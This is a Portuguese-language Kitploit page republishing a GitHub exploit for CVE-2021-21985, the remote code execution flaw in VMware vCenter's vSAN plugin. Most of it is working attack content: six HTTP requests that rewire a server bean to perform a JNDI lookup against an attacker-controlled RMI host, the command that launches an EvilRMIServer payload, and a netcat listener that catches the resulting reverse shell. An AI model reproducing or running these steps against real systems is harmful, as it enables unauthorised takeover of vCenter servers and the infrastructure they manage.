Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2021-21985_exp — exploit cve-2021-21985 | Kitploit
Ferramentas/GitHubGitHub/xnianq/cve-2021-21985_exp
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleFerramenta de Acesso Remoto
GitHubxnianq/cve-2021-21985_exp

cve-2021-21985_exp

exploit cve-2021-21985

Ver Repositório
115362há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

exploit do cve-2021-21985

0x01 Ponto da vulnerabilidade

image-20210603144442312

Análise disponível em:

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis

0x02 exploit

Reconstruir objetos beans para realizar RCE.

Lista de beans:

root@kitploit:~
localizedMessageBundle
vsanWorkerThreadFactory
vsanThreadPoolImpl
vsanServiceBundleActivator
vsanServiceFactory
vsanProviderUtils_setVmodlHelper
vsanProviderUtils_setVsanServiceFactory
vsanQueryUtil_setDataService
vsanComponentsProviderImpl
capabilityPropertyProviderImpl
pbmDataProviderImpl
vsanCapabilityCacheManager
vsanCapabilityUtils_setVsanCapabilityCacheManager
vsanUtils_setMessageBundle
vsanFormatUtils_setUserSessionService

O vsanProviderUtils_setVmodlHelper usado pelo mestre Suifeng não foi testado com sucesso no meu ambiente, então escolhi outro bean para teste. Como o Vsphere UI usa o middleware Tomcat, é possível executar comandos remotamente através do bypass jndi rmi (https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java).

root@kitploit:~
Baixar ferramenta
Passo 1 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject {"methodInput":[null]} Passo 2 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod {"methodInput":["javax.naming.InitialContext.doLookup"]} Passo 3 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod {"methodInput":["doLookup"]} Passo 4 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments {"methodInput":[["rmi://attip:1097/ExecByEL"]]} Passo 5 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare {"methodInput":[]} Passo 6 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke {"methodInput":[]}

0x03 Modo de usar

  1. Iniciar o serviço rmi java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer attip image-20210603201234855
  2. Iniciar o listener do reverse shell
root@kitploit:~
nc -lvvp 5555
  1. Executar o payload acima para obter o reverse shell image-20210603201337539

0x04 Referências

  • https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
  • https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985#rapid7-analysis
  • https://github.com/welk1n/JNDI-Injection-Bypass